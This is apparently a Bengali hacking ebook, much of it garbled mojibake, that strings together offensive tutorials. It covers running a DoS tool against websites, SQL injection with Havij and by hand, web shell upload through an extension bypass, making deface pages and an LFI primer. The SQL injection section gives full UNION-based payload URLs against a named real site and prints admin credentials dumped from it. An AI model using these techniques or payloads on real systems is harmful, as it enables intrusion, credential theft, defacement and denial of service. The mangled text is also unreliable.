Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 18: Hacking Bangla eBook

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

